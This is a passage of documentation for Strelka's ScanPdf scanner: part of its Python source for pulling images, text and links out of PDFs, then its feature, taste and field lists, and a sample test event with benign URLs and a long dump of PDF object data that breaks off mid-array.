extracted images to strelka\n try:\n for i in range(len(reader)):\n for img in reader.get_page_images(i):\n self.event[\"images\"] += 1\n pix = fitz.Pixmap(reader, img[0])\n\n # Send extracted file back to Strelka\n self.emit_file(pix.tobytes(), name=\"image\")\n\n except strelka.ScannerTimeout:\n raise\n except Exception as e:\n self.flags.append(f\"pdf_image_processing_error: {str(e)[:50]}\")\n\n # Parse data from each page\n try:\n text = \"\"\n for page in reader:\n self.event[\"lines\"] += len(page.get_text().split(\"\\n\"))\n self.event[\"words\"] += len(\n list(filter(None, page.get_text().split(\" \")))\n )\n # Extract links\n for link in page.get_links():\n self.event[\"links\"].append(link.get(\"uri\"))\n\n text += page.get_text()\n\n # Extract urls from text\n self.event[\"links\"].extend(re.findall(r\"https?://[^\\s)>]+\", text))\n\n # If links found, remove all duplicates and submit as IOCs.\n # Deduplicate the links\n if self.event[\"links\"]:\n self.event[\"links\"] = list(set(filter(None, self.event[\"links\"])))\n\n # Submit all links to the IOCs pipeline.\n self.add_iocs(self.event[\"links\"])\n\n # Send extracted file back to Strelka\n self.emit_file(text.encode(\"utf-8\"), name=\"text\")\n\n except strelka.ScannerTimeout:\n raise\n except Exception as e:\n self.flags.append(f\"pdf_page_processing_error: {str(e)[:50]}\")\n except strelka.ScannerTimeout:\n raise\n except Exception as e:\n self.flags.append(f\"pdf_load_error: {str(e)[:50]}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanPdf.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/pdf pdf_file"},{"location":"Scanners/ScanPdf.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeauthor str creation_date str creator str dirty bool elapsed str embedded_files dict embedded_files.count int embedded_files.names list encrypted bool flags list format str images int iocs str keywords str language str lines int links str modify_date str needs_pass bool objects dict old_xrefs bool pages int phones list producer str repaired bool subject str title str words int xref_object str xrefs int"},{"location":"Scanners/ScanPdf.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"images\": 1,\n \"lines\": 32,\n \"links\": unordered(\n [\"http://bing.com\", \"https://duckduckgo.com\", \"https://google.com\"]\n ),\n \"iocs\": unordered(\n [\n {\"ioc\": \"bing.com\", \"ioc_type\": \"domain\", \"scanner\": \"ScanPdf\"},\n {\"ioc\": \"http://bing.com\", \"ioc_type\": \"url\", \"scanner\": \"ScanPdf\"},\n {\"ioc\": \"duckduckgo.com\", \"ioc_type\": \"domain\", \"scanner\": \"ScanPdf\"},\n {\n \"ioc\": \"https://duckduckgo.com\",\n \"ioc_type\": \"url\",\n \"scanner\": \"ScanPdf\",\n },\n {\"ioc\": \"google.com\", \"ioc_type\": \"domain\", \"scanner\": \"ScanPdf\"},\n {\"ioc\": \"https://google.com\", \"ioc_type\": \"url\", \"scanner\": \"ScanPdf\"},\n ]\n ),\n \"words\": 421,\n \"xref_object\": unordered(\n [\n \"<</Filter/FlateDecode/Length 23>>\",\n \"<</ActualText( )/K[2]/P 19 0 R/Pg 3 0 R/S/Span/Type/StructElem>>\",\n \"<</Filter/FlateDecode/Length 294>>\",\n \"<</K 0/P 19 0 R/Pg 3 0 R/S/Span/Type/StructElem>>\",\n \"<</BaseFont/ArialMT/Encoding/WinAnsiEncoding/FirstChar 32/FontDescriptor 13 0 R/LastChar 120/Subtype/TrueType/Type/Font/Widths 39 0 R>>\",\n \"<</Annotation/Sect/Artifact/Sect/Chart/Sect/Chartsheet/Part/Diagram/Figure/Dialogsheet/Part/Endnote/Note/Footer/Sect/Footnote/Note/Header/Sect/InlineShape/Sect/Macrosheet/Part/Slide/Part/Textbox/Sect/Workbook/Document/Worksheet/Part>>\",\n \"<</A 74 0 R/BS<</S/S/Type/Border/W 0>>/Border[0 0 0]/Rect[74.8708 81.507 171.716 95.5623]/Subtype/Link/Type/Annot>>\",\n \"<</Filter/FlateDecode/Length 21>>\",\n \"[250 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 333 0 0 611 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 444 0 0 0 0 0 0 0 778 0 500 500 0 333 389 0 500]\",\n \"<</Filter/FlateDecode/Length 17535/Length1 44442>>\",\n \"<</Filter/FlateDecode/Length 5162>>\",\n \"<</Annots 45 0 R/Contents 54 0 R/Group<</CS/DeviceRGB/S/Transparency/Type/Group>>/MediaBox[0 0 612 792]/Parent 2 0 R/Resources<</ExtGState<</GS0 5 0 R/GS1 69 0 R/GS2 70 0 R/GS3 71 0 R>>/Font<</C2_0 43 0 R/C2_1 44 0 R/TT0 6 0 R/TT1 12 0 R>>/ProcSet[/PDF/Text/ImageC]/XObject<</Im0 9 0 R>>>>/StructParents 0/Tabs/S/Type/Page>>\",\n \"<</Filter/FlateDecode/First 39/Length 286/N 6/Type/ObjStm>>\",\n \"<</K[45 46 47 48 49 50 51 52 53 54]/P 18 0 R/Pg 3 0 R/S/P/Type/StructElem>>\",\n \"<</BitsPerComponent 8/ColorSpace/DeviceRGB/Filter/DCTDecode/Height 245/Interpolate true/Length 21001/Subtype/Image/Type/XObject/Width 340>>\",\n \"<</Ascent 905/AvgWidth 441/CapHeight 728/Descent -210/Flags 32/FontBBox[-665 -210 2000 728]/FontName/ArialMT/FontWeight 400/ItalicAngle 0/Leading 33/MaxWidth 2665/StemV 44/Type/FontDescriptor/XHeight 250>>\",\n \"<</BM/Normal/ca 1>>\",\n \"<</A 72 0 R/BS<</S/S/Type/Border/W 0>>/Border[0 0 0]/Rect[382.256 32.834 472.048 46.8893]/Subtype/Link/Type/Annot>>\",\n \"<</Alt()/K[3]/P 25 0 R/Pg 3 0 R/S/InlineShape/Type/StructElem>>\",\n \"<</BaseFont/ZWXJMJ+ArialMT/DescendantFonts 62 0 R/Encoding/Identity-H/Subtype/Type0/ToUnicode 63 0 R/Type/Font>>\",\n \"<</Ascent 1006/CIDSet 67 0 R/CapHeight 716/Descent -325/Flags 4/FontBBox[-665 -325 2000 1006]/FontFamily(Arial)/FontFile2 68 0 R/FontName/ZWXJMJ+ArialMT/FontStretch/Normal/FontWeight 400/ItalicAngle 0/StemV 88/Type/FontDescriptor/XHeight 519>>\",\n \"null\",\n \"<</BM/Normal/CA 1/Type/ExtGState/ca 1>>\",\n \"<</AcroForm 52 0 R/Lang(en-US)/MarkInfo<</Marked true>>/Metadata 53 0 R/Pages 2 0 R/StructTreeRoot 15 0 R/Type/Catalog>>\",\n \"<</K[26 0 R 27 0 R]/P 18 0 R/Pg 3 0 R/S/P/Type/StructElem>>\",\n \"<</K[27 28 29 30 31 32 33]/P 18 0 R/Pg 3 0 R/S/P/Type/StructElem>>\",\n \"<</K[20 0 R 23 0 R 24 0 R]/P 18 0 R/Pg 3 0 R/S/H1/Type/StructElem>>\",\n \"[46 0 R 47 0 R 48 0 R 49 0 R]\",\n \"<</S/URI/URI(https://duckduckgo.com)>>\",\n \"<</K[19 0 R 25 0 R 28 0 R 29 0 R 30 0 R 31 0 R 32 0 R 33 0 R 34 0 R 35 0 R]/P 15 0 R/S/Part/Type/StructElem>>\",\n \"<</BM/Normal/Type/ExtGState/ca 1>>\",\n \"<</BaseFont/ZapfDingbats/Name/ZaDb/Subtype/Type1/Type/Font>>\",\n \"<</BaseFont/AAHPAH+ArialMT/CIDSystemInfo 58 0 R/CIDToGIDMap/Identity/DW 1000/FontDescriptor 59 0 R/Subtype/CIDFontType2/Type/Font/W[0[750 0]2 4 278 5[355]6 7 556 8[889 667 191]11 12 333 13[389 584 278 333]17 18 278 19 28 556 29 30 278 31 33 584 34[556 1015]36 37 667 38 39 722 40[667 611 778 722 278 500 667 556 833 722 778 667 778 722 667 611 722 667 944]59 60 667 61[611]62 64 278 65[469 556 333]68 69 556 70[500]71 72 556 73[278]74 75 556 76 77 222 78[500 222 833]81 84 556 85[333 500 278 556 500 722]91 93 500 94[334 260 334 584]98 99 667 100[722 667 722 778 722]105 110 556 111[500]112 115 556 116 119 278 120 130 556 131[400]132 134 556 135[350 537 611]138 139 737 141 142 333 143[549]145[778 713]147 149 549 150[556 576 494 713 823 549 274 370 365 768 889]161 162 611 163[333 584 549 556 549 612]169 170 556 172 173 667 174[778]176[944 556]179 180 333 181 182 222 183[549 494 500 667 167 556]189 190 333 191 192 500 193[556 278 222 333]198 202 667 203 206 278 207 209 778 210 212 722 213[278]214 223 333 224[556 222 667 500 611 500 260 722 556 667 500 667 556]237 238 584 239 241 333 242 244 834 245[556 778 556 278 667 500 722 500 722 500 556 552 333 667 556 667 556 722 615 722 667 556 667]268 269 556 270[222 556 292 556 334 722 556 722 556 778 556 722 333 722 333 667 500 611 278 611 375 722 556 722 556 611 500 611 500 551 778 798 578 557 446 617 395 648 552 500 365 1094]313[500]315[500]317 318 500 319[979 719 583 604 584]324 325 604 326[708 625]328 372 708 373[729 604]376 379 990 380 382 604 383[1021 1052 917]386 387 750 388[531 656 594 510 500 750 735 444 604 188 354 885 323 604]402 403 354 404[604 354 667 556 722 500 722 500 667 556 667 556 667 556 778 556 778 556 778 556 722 556 722 556]428 434 278 435[222 500 222 667]439 440 500 441[556 222 722 556 723 556 778 556 778 556 722 333 667 500 611 278 722 556 722 556 722 556 722 556 944 722 667 500 222 667 556]473[889 778 611 278 944 722 944 722 944 722 667 500 222 333 556 600]489 492 834 493 496 333 497[667 784 838 384 774 855 752 222]505 506 667 507[668 667 611 722 278 667 668 833 722 650 778 722 667 618 611]522 523 667 524[835 748 278 667 578 446 556 222 547 575 500 441]536 537 556 538[222]539 540 500 541[576 500 448 556 569 482 547 525 713 781 222 547 556 547 781 667 865 542 719 667]561 562 278 563[500 1057 1010 854 583 635 719 667 656 667 542 677 667 923 604]578 579 719 580[583 656 833 722 778 719 667 722 611 635 760 667 740 667 917 938 792 885 656 719 1010 722 556 573 531 365 583 556 669 458]610 611 559 612[438 583 688 552 556 542 556 500 458 500 823 500 573 521 802 823 625 719 521 510 750 542]634 635 556 636[365 510 500 222 278 222 906 813 556 438 500 552 489 411]651[1073 690]653 665 0 666[383 0 275]669 670 0 671[278 563 542 399 508 602 247 382 599 590 247 509 461 463 599 601 247 353 574 529 566 546 461 479 550 509 694 643]699 701 493 702[236 417 815 247]706 707 509 708 709 463 710[535]711 714 694 715 717 563 718[542 399 508 602 287 411 590 287 509 461 463 601 353 574 566 546 479 550 509 694 643 247 542 461 546 576]744 747 0 748 749 319 750[356 413 207]753 760 0 761 771 526 772[319 526]774 775 750 776[282 750]778 780 526 781 785 750 786[0]787 794 750 795[638]796 798 750 799 800 713 801 802 244 803 806 750 807[563 526]809 810 530 811 812 489 813[812 933 394 515 812 933 394 515 638 588 375]824 838 750 839 843 0 844 845 750 846 861 0 862[556]864 891 750 892 893 319 894[750 616 413 207 229 207 229]901 902 432 903[207 229 638 588]907 908 244 909[207 229]911 912 713 913 914 244 915[282 375]917 918 713 919 920 244 921 922 713 923 924 244 925[563 526]927 928 530 929[563 526]931 932 530 933[563 526]935 936 530 937 940 337 941 944 489 945 946 821 947 948 531 949 950 821 951 952 531 953 954 1098 955 956 846 957 958 1098 959 960 846 961 968 582 969[544 450 526 394 544 450 526 394]977 978 789 979[268 263]981 982 582 983[268 263]985 986 601 987 988 394 989 990 506 991 992 207 993 994 338 995 996 394 997 998 526 999 1000 244 1001[282 375 450 394]1005 1006 432 1007[638 588 638 588]1011 1012 244 1013[544 601 544 601 544 601 544 601]1021 1022 750 1023 1024 0 1025 1027 750 1028 1029 0 1030 1031 750 1032 1033 0 1034 1036 750 1037 1042 0 1043[750]1044 1045 0 1046 1099 750 1100 1102 319 1103 1126 750 1127[125]1129[2000 857 656 854 669]1134 1149 0 1150[513]1151 1152 834 1153 1186 0 1187[222 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 278 222 278 222 778 556 778 556 778 556 778 556 778 556 778 556 778 556 857 656 857 656 857 656 857 656 857 656 722 556 722 556 854 669 854 669 854 669 854 669 854 669 667 500 667 500 667 500 667 556 278 222 778 556 722 556 722 556 722 556 722 556 722 556]1292 1295 0 1296[542 365 923 669 583 438 583 438 722 552 556 500 556 500 667 500 667 521 667 556 752 556 778 556 713 244 268 263 582]1325 1330 244 1331[269]1332 1333 0 1334 1335 333 1336 1339 0 1340[207 229 207 229 207 229 207 229]1348 1351 432 1352[638 588]1354 1355 713 1356 1357 244 1358 1359 713 1360 1361 244 1362 1363 713 1364 1365 244 1366 1367 713 1368 1369 244 1370 1371 713 1372 1373 244 1374 1375 713 1376 1377 244 1378 1379 713 1380 1381 244 1382[563 526]1384 1385 530 1386[563 526]1388 1389 530 1390[563 526]1392 1393 530 1394[563 526]1396 1397 530 1398[563 526]1400 1401 530 1402[563 526]1404 1405 530 1406 1423 337 1424 1439 489 1440 1441 821 1442 1443 531 1444 1445 821 1446 1447 531 1448 1449 821 1450 1451 531 1452 1453 1098 1454 1455 846 1456 1457 1098 1458 1459 846 1460 1461 582 1462[544 450 526 394]1466 1468 789 1469[268 263]1471 1472 789 1473[268 263]1475 1476 789 1477[268 263]1479 1480 789 1481[268 263]1483 1484 789 1485[268 263]1487 1490 582 1491 1492 1155 1493 1494 906 1495[812 933 394 515]1499 1500 601 1501 1502 394 1503 1504 601 1505 1506 394 1507 1508 601 1509 1510 394 1511[812 933 394 515 812 933 394 515 812 933 394 515 812 933 394 515 812 933 394 515]1531 1532 506 1533 1534 207 1535 1536 506 1537 1538 207 1539 1540 506 1541 1542 207 1543 1544 506 1545 1546 207 1547 1548 526 1549 1550 244 1551 1556 526 1557 1558 244 1559 1560 526 1561[563 526]1563 1564 530 1565[282 375]1567 1569 388 1570 1585 432 1586[638 588 638 588]1590 1591 244 1592 1593 432 1594[638 588]1596 1597 244 1598[638 588]1600 1603 812 1604[207]1605 1611 0 1612[1123 1084]1614 1619 0 1620[194 370]1622 1623 0 1624[600]1625 1627 0 1628 1629 821 1630 1631 531 1632 1633 1098 1634 1635 846 1636[544 450 526 394 413 338 282 244 320]1645 1649 244 1650[812 933 247 0 342 493 544 601 544 601 544 601 544 601 544 601 544 601 544 601]1670 1671 526 1672[544 601 556 758 656 556 656 556]1680 1681 722 1682[500 722 810 656 556 557 667 604 611 778 624 881 222 278 667 500 222 500 891 722 556 778 868 667 754 556]1708 1709 667 1710[500 618 380 278 611 278 611 748 722 772 500 611 500]1723 1724 611 1725 1726 545 1727 1728 556 1729[458 487 556 260 413 584 278 1333 1222 1049 1062 833 451 1222 944 771 556 667 556 0 667 556]1752[889 778 556 778 556 667 500 778 556 778 556 611 545 222 1333 1222 1049 778 556 1034 618 722 556 667 556 667 556 667 556 667 556]1783 1786 278 1787[778 556 778 556 722 333 722 333 722 556 722 556 667 500 611 278 545 437 722 556 706 604 565 611 500 667 556 667 556 778 556 0 778 556 778 556 778 556 667 500]1827 1830 556 1831 1832 500 1833 1835 556 1836[739]1837 1838 458 1839[631 507 278]1842 1843 556 1844[559 501 617]1847 1849 556 1850 1852 222 1853[327 304 222 572]1857 1859 833 1860 1861 556 1862[553 556 791 781 550]1867 1873 333 1874 1875 542 1876[500 222 260 222 349]1881 1882 278 1883[556 568 547 500 722 500 520 500 541]1892 1893 545 1894 1897 500 1898[778 531 507 559 552 397 500 404 556]1907 1908 500 1909[964 906 1005 712 429 719 764 661 632 485 527]1920 1921 383 1922[159]1923 1925 240 1926[364 481 321 191 355]1931 1933 222 1934 1935 333 1936 1937 349 1938 1941 584 1942 1948 333 1949 1950 278 1951 1958 333 1959[322 157 340 328 349]1964 1968 383 1969 1973 333 1974 1982 542 1983[383]1984 1988 542 1989[383]1990 1994 542 1995[383]1996 2000 542 2001[383]2002 2006 542 2007[383]2008 2016 542 2017[383]2018 2022 542 2023[383]2024 2028 542 2029[383]2030 2034 542 2035[383]2036 2040 542 2041[383]2042 2050 542 2051[383]2052 2056 542 2057[383]2058 2062 542 2063[383]2064 2068 542 2069[383]2070 2074 542 2075[383]2076 2084 542 2085[383]2086 2090 542 2091[383]2092 2096 542 2097[383]2098 2102 542 2103[383]2104 2108 542 2109[383]2110 2113 542 2114 2204 0 2205 2207 333 2208[575 547 772 958 772 560 781 601 778 556 722 500 611 404 625 529 756 577 891 833 674 556 674 500]2232 2233 667 2234[609 596 737 554 464 410 601 573 500 222 778]2245 2246 442 2247[667 719 556 559 1338 624 778 613 950 713 668 500 897 695 829 685 1053 867 604 458 796 688 778 556 803 631 803 631 1375 1139 833 612 1191 852 0 1338 624 722 500 503]2287 2292 0 2293[719 559 656 521 667 556 670 549 604 458 583 438 742 536 879 648 1137 870 753 521 722 500 611 458 925 691 667 521 861 666 861 666 278 923 669 667 551 656 583 722 552 722 552 667 521 833 688 333 667 556 667 556]2346[889 667 556 752 556 923 669 604 458 604 545 719 559 719 559 778 556 778 556 719 510 635 500 635 500 635 500 667 521 885 719 656 556 968 876 956 815 663 509 970 910 1034 878 778 559 747 666]2393 2430 0 2431[667 556 667 556 667 556 667 556 722 500 722 556 722 556 722 556 722 556 722 556 667 556 667 556 667 556 667 556 667 556 611 278 778 556 722 556 722 556 722 556 722 556 722 556 278 222]2477 2478 278 2479[667 500 667 500 667 500 556 222 556 222 556 222 556 222]2493 2498 833 2499[722 556 722 556 722 556 722 556 778 556 778 556 778 556 778 556 667 556 667 556 722 333 722 333 722 333 722 333 667 500 667 500 667 500 667 500 667 500 611 278 611 278 611 278 611 278 722 556 722 556 722 556 722 556 722 556 667 500 667 500 944 722 944 722 667 500 667 500 667 500 611 500 611 500 611 500 556 278 722 500 556 222]2581 2588 578 2589 2590 667 2591 2596 813 2597 2602 446 2603 2604 765 2605 2608 928 2609 2616 556 2617 2618 820 2619 2624 1015 2625 2632 222 2633 2634 375 2635 2640 571 2641 2646 556 2647 2648 827 2649 2650 1022 2651 2652 973 2653 2660 547 2661[813 960 1009 960]2665 2672 781 2673 2674 796 2675 2676 992 2677 2680 943 2681 2682 578 2683 2684 446 2685 2686 556 2687 2688 222 2689 2690 556 2691 2692 547 2693 2694 781 2695 2702 578 2703 2704 667 2705 2710 813 2711 2718 556 2719 2720 820 2721 2726 1015 2727 2734 781 2735 2736 796 2737 2738 992 2739 2742 943 2743 2749 578 2750 2754 667 2755 2759 333 2760 2764 556 2765 2766 813 2767 2768 869 2769[722]2770 2772 333 2773 2778 222 2779 2780 278 2781 2782 424 2783 2785 333 2786 2789 547 2790 2791 569 2792 2793 547 2794 2795 667 2796[862 887 765]2799 2801 333 2802 2806 781 2807[924 827 894 796 748]2812 2813 333 2814[556]2815 2816 722 2817[833 722 1164 944 667 611]2824[500 594]2826 2829 0 2830 2831 222 2832[521 667 682 349 685 367]2838 2839 687 2840 2848 333 2849[278]2850 2853 333 2854 2855 397 2856[333]2857 2867 0 2868[667 556 496 748 889 531 500]2875 2876 551 2877[490 458 222 422 500 401 688 559 556 500]2887 2889 608 2890[944 457]2892 2893 556 2894[521]2895 2896 542 2897[458 547 597 733 597 500 722 500 458 427 607 365 500 542 521 713 583 453 664]2916 2917 415 2918[449]2919 2920 410 2921[496 429 167 314 425 352 510 430 429 512 382 418 451 433 429 623]2937 2938 372 2939[377 600]2941 2942 377 2943 2944 372 2945 2946 318 2947[377 157 339 573 382 377 354]2954 2955 377 2956[378 220 382 407 573 321 391 385 321 378 440 343 157 240 382 321 385 321 379 440 343 741 1300 759 817 657 239 544]2984 2992 0 2993 2994 337 2995 2996 489 2997[450 394 450 394 709 655 749 607 609 745 656 789 584]3010 3012 0 3013[556 333 354]3016 3019 207 3020[793 1221 500]3024[500]3026[333 250 167 556 278 200 83 0 737 722 833 688 908]3039 3040 887 3041[667 722 500 556 611]3046 3047 500 3048[581]3049 3053 0 3054[569]3055 3057 722 3058[542 365]3060 3062 0 3063[353 0 263 289]3067 3073 0 3074 3075 713 3076 3077 244 3078 3079 713 3080 3081 244 3082 3083 713 3084 3085 244 3086 3087 713 3088 3089 244 3090 3091 713 3092 3093 244 3094 3095 713 3096 3097 244 3098 3099 713 3100 3101 244 3102[563 526]3104 3105 530 3106[563 526]3108 3109 530 3110 3113 337 3114 3115 489 3116 3117 821 3118 3119 531 3120[544 450 526 394 544 450 526 394 544 450 526 394]3132 3133 789 3134[268 263]3136 3137 789 3138[268 263 812 933 394 515 812 933 394 515 812 933 394 515]3152 3153 338 3154 3155 394 3156 3157 338 3158 3159 394 3160 3161 526 3162 3163 244 3164 3165 526 3166 3167 244 3168 3169 526 3170 3171 244 3172 3173 506 3174 3175 207 3176 3179 489 3180 3181 821 3182 3183 531 3184 3185 556 3186[278 833]3188 3189 556 3190 3191 333 3192[500 278 500 556 380 557 786]3199 3200 222 3201[556 547 568]3204 3205 556 3206[278 713 500 222 833]3211 3212 556 3213[333 500 387]3216 3218 500 3219 3222 556 3223 3224 458 3225[650 222 500 222 556 545 377 354 348 373 318]3236 3237 229 3238[377 383]3240 3243 157 3244[271]3245 3246 157 3247[275]3248 3249 572 3250 3252 382 3253[377 375 340 157 220 382 388 378 354 321]3263 3265 358 3266[369 364]3268 3271 0 3272[278]3273 3274 372 3275[377 328 372 778 667 556 722 333]3283 3290 578 3291 3298 222 3299 3306 547 3307 3310 222 3311 3314 547 3315[544 601 453 667 722 668 667 556 500 222 737 556 722 333 667]3330 3333 500 3334[222 542 365 667 500 667 500 604 458 656 583]3345 3353 0 3354[943 490 500 556 222 556 667 722 556 278 722 556 667 500 611]3369 3370 500 3371[577 425 648]3374 3379 0 3380[222]]>>\",\n \"<</BaseFont/AAHPAH+ArialMT/DescendantFonts 55 0 R/Encoding/Identity-H/Subtype/Type0/ToUnicode 56 0 R/Type/Font>>\",\n \"<</BaseFont/Helvetica/Encoding 76 0 R/Name/Helv/Subtype/Type1/Type/Font>>\",\n \"<</S/URI/URI(https://google.com)>>\",\n \"<</K[5 6 7 8 9 10 11 12 13 14 15 16]/P 18 0 R/Pg 3 0 R/S/P/Type/StructElem>>\",\n \"[57 0 R]\",\n \"<</K[57 58]/P 18 0 R/Pg 3 0 R/S/P/Type/StructElem>>\",\n \"<</ActualText(Lorem Ipsum)/K[1]/P 19 0 R/Pg 3 0 R/S/Span/Type/StructElem>>\",\n \"<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<996084F03FED2848AB7A00AD5BCAA8E6><B4F8317AC9E14A7789A73198A60C605D>]/Info 14 0 R/Length 227/Root 1 0 R/Size 82/Type/XRef/W[1 3 1]>>\",\n \"<</K[55 56]/P 18 0 R/Pg 3 0 R/S/P/Type/StructElem>>\",\n \"<</Author(Ryan.OHoro)/CreationDate(D:20221216134852-06'00')/Creator(Microsoft\\\\256 Word 2016)/ModDate(D:20240108094801-05'00')/Producer(Microsoft\\\\256 Word 2016)>>\",\n \"<</A 75 0 R/BS<</S/S/Type/Border/W 1>>/Border[0 0 1]/H/I/Rect[37.9638 49.0876 258.547 72.6514]/Subtype/Link/Type/Annot>>\",\n \"<</DA(/Helv 0 Tf 0 g )/DR<</Encoding<</PDFDocEncoding 76 0 R>>/Font<</Helv 50 0 R/ZaDb 51 0 R>>>>/Fields[]>>\",\n \"<</BaseFont/ZWXJMJ+ArialMT/CIDSystemInfo 65 0 R/CIDToGIDMap/Identity/DW 1000/FontDescriptor 66 0 R/Subtype/CIDFontType2/Type/Font/W[0[750 0]2 4 278 5[355]6 7 556 8[889 667 191]11 12 333 13[389 584 278 333]17 18 278 19 28 556 29 30 278 31 33 584 34[556 1015]36 37 667 38 39 722 40[667 611 778 722 278 500 667 556 833 722 778 667 778 722 667 611 722 667 944]59 60 667 61[611]62 64 278 65[469 556 333]68 69 556 70[500]71 72 556 73[278]74 75 556 76 77 222 78[500 222 833]81 84 556 85[333 500 278 556 500 722]91 93 500 94[334 260 334 584]98 99 667 100[722 667 722 778 722]105 110 556 111[500]112 115 556 116 119 278 120 130 556 131[400]132 134 556 135[350 537 611]138 139 737 141 142 333 143[549]145[778 713]147 149 549 150[556 576 494 713 823 549 274 370 365 768 889]161 162 611 163[333 584 549 556 549 612]169 170 556 172 173 667 174[778]176[944 556]179 180 333 181 182 222 183[549 494 500 667 167 556]189 190 333 191 192 500 193[556 278 222 333]198 202 667 203 206 278 207 209 778 210 212 722 213[278]214 223 333 224[556 222 667 500 611 500 260 722 556 667 500 667 556]237 238 584 239 241 333 242 244 834 245[556 778 556 278 667 500 722 500 722 500 556 552 333 667 556 667 556 722 615 722 667 556 667]268 269 556 270[222 556 292 556 334 722 556 722 556 778 556 722 333 722 333 667 500 611 278 611 375 722 556 722 556 611 500 611 500 551 778 798 578 557 446 617 395 648 552 500 365 1094]313[500]315[500]317 318 500 319[979 719 583 604 584]324 325 604 326[708 625]328 372 708 373[729 604]376 379 990 380 382 604 383[1021 1052 917]386 387 750 388[531 656 594 510 500 750 735 444 604 188 354 885 323 604]402 403 354 404[604 354 667 556 722 500 722 500 667 556 667 556 667 556 778 556 778 556 778 556 722 556 722 556]428 434 278 435[222 500 222 667]439 440 500 441[556 222 722 556 723 556 778 556 778 556 722 333 667 500 611 278 722 556 722 556 722 556 722 556 944 722 667 500 222 667 556]473[889 778 611 278 944 722 944 722 944 722 667 500 222 333 556 600]489 492 834 493 496 333 497[667 784 838 384 774 855 752 222]505 506 667 507[668 667 611 722 278 667 668 833 722 650 778 722 667 618 611]522 523 667 524[835 748 278 667 578 446 556 222 547 575 500 441]536 537 556 538[222]539 540 500 541[576 500 448 556 569 482 547 525 713 781 222 547 556 547 781 667 865 542 719 667]561 562 278 563[500 1057 1010 854 583 635 719 667 656 667 542 677 667 923 604]578 579 719 580[583 656 833 722 778 719 667 722 611 635 760 667 740 667 917 938 792 885 656 719 1010 722 556 573 531 365 583 556 669 458]610 611 559 612[438 583 688 552 556 542 556 500 458 500 823 500 573 521 802 823 625 719 521 510 750 542]634 635 556 636[365 510 500 222 278 222 906 813 556 438 500 552 489 411]651[1073 690]653 665 0 666[383 0 275]669 670 0 671[278 563 542 399 508 602 247 382 599 590 247 509 461 463 599 601 247 353 574 529 566 546 461 479 550 509 694 643]699 701 493 702[236 417 815 247]706 707 509 708 709 463 710[535]711 714 694 715 717 563 718[542 399 508 602 287 411 590 287 509 461 463 601 353 574 566 546 479 550 509 694 643 247 542 461 546 576]744 747 0 748 749 319 750[356 413 207]753 760 0 761 771 526 772[319 526]774 775 750 776[282 750]778 780 526 781 785 750 786[0]787 794 750 795[638]796 798 750 799 800 713 801 802 244 803 806 750 807[563 526]809 810 530 811 812 489 813[812 933 394 515 812 933 394 515 638 588 375]824 838 750 839 843 0 844 845 750 846 861 0 862[556]864 891 750 892 893 319 894[750 616 413 207 229 207 229]901 902 432 903[207 229 638 588]907 908 244 909[207 229]911 912 713 913 914 244 915[282 375]917 918 713 919 920 244 921 922 713 923 924 244 925[563 526]927 928 530 929[563 526]931 932 530 933[563 526]935 936 530 937 940 337 941 944 489 945 946 821 947 948 531 949 950 821 951 952 531 953 954 1098 955 956 846 957 958 1098 959 960 846 961 968 582 969[544 450 526 394 544 450 526 394]977 978 789 979[268 263]981 982 582 983[268 263]985 986 601 987 988 394 989 990 506 991 992 207 993 994 338 995 996 394 997 998 526 999 1000 244 1001[282 375 450 394]1005 1006 432 1007[638 588 638 588]1011 1012 244 1013[544 601 544 601 544 601 544 601]1021 1022 750 1023 1024 0 1025 1027 750 1028 1029 0 1030 1031 750 1032 1033 0 1034 1036 750 1037 1042 0 1043[750]1044 1045 0 1046 1099 750 1100 1102 319 1103 1126 750 1127[125]1129[2000 857 656 854 669]1134 1149 0 1150[513]1151 1152 834 1153 1186 0 1187[222 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 667 556 278 222 278 222 778 556 778 556 778 556 778 556 778 556 778 556 778 556 857 656 857 656 857 656 857 656 857 656 722 556 722 556 854 669 854 669 854 669 854 669 854 669 667 500 667 500 667 500 667 556 278 222 778 556 722 556 722 556 722 556 722 556 722 556]1292 1295 0 1296[542 365 923 669 583 438 583 438 722 552 556 500 556 500 667 500 667 521 667 556 752 556 778 556 713 244 268 263 582]1325 1330 244 1331[269]1332 1333 0 1334 1335 333 1336 1339 0 1340[207 229 207 229 207 229 207 229]1348 1351 432 1352[638 588]1354 1355 713 1356 1357 244 1358 1359 713 1360 1361 244 1362 1363 713 1364 1365 244 1366 1367 713 1368 1369 244 1370 1371 713 1372 1373 244 1374 1375 713 1376 1377 244 1378 1379 713 1380 1381 244 1382[563 526]1384 1385 530 1386[563 526]1388 1389 530 1390[563 526]1392 1393 530 1394[563 526]1396 1397 530 1398[563 526]1400 1401 530 1402[563 526]1404 1405 530 1406 1423 337 1424 1439 489 1440 1441 821 1442 1443 531 1444 1445 821 1446 1447 531 1448 1449 821 1450 1451 531 1452 1453 1098 1454 1455 846 1456 1457 1098 1458 1459 846 